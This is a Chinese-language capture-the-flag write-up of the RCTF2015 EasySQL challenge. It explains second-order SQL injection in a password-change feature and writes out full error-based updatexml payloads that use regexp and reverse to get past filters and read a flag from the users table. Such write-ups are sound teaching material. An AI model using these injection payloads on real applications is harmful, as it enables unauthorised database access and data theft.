RCTF2015-EasySQL

[RCTF2015]EasySQL

进入题目是一个登录页面,有注册和修改密码功能……似乎有index.phps源码,但是forbidden

发现admin已经被注册……难道可以先注入获取admin账户再得到源码进一步渗透?

注册一个\,在change密码时发生报错:

image-20210425120947836

pwd后的一串是0的md5值……

这可能是二次注入,在拿出数据时没有进行转义发生的漏洞,鉴于打印了报错信息,即可进行报错注入

类似之前的题构造,但是用户名存在过滤,首次尝试fuzz操作……

image-20210425121328003

过滤了很多……

"&&pwd=updatexml(1,concat(0x7e,(select(database())),0x7e),1)#成功回显数据库名

"&&pwd=updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name=0x666c6167)),0x7e),1)#获取表名

image-20210425121530565

发现flag表

image-20210425121603887

flag列

image-20210425121624544

fakeflag……那去查查user表

image-20210425121710797

应该是real_flag_1s_here,似乎有多行……concat

image-20210425121803527

这样的查询表明,很多行的数据都是xxx,而flag应当在其中一行

limit似乎用不了,很多加密也不行,mid、substr、right、left都被ban了……

学习了正则的使用:

"&&pwd=updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(select(real_flag_1s_here)regexp('^l'))),0x7e),1)#

"&&pwd=updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#

where(real_flag_1s_here)regexp(‘^f’)匹配real_flag_1s_here列中以f开头的那一行数据,大概是优先于group_concat的,所以也可以:

“&&pwd=updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp(‘^f’)),0x7e),1)#

怎么解决位数不足显示不全的问题呢?正则帮助我们拿出了这一行的数据,我们就可以将这行数据逆向输出

reverse

"&&pwd=updatexml(1,concat(0x7e,(reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))),0x7e),1)#

XPATH syntax error: ‘~flag{4c5c3709-12d5-40af-82f2-c3’

XPATH syntax error: ‘~}8f414a13433c-2f28-fa04-5d21-90’

<php?echo strrev(“}8f414a13433c-2f28-fa04-5d21-90”);

flag{4c5c3709-12d5-40af-82f2-c33431a414f8}

获得flag……

作者

inanb

发布于

2021-04-25

更新于

2021-08-23

许可协议


:D 一言句子获取中...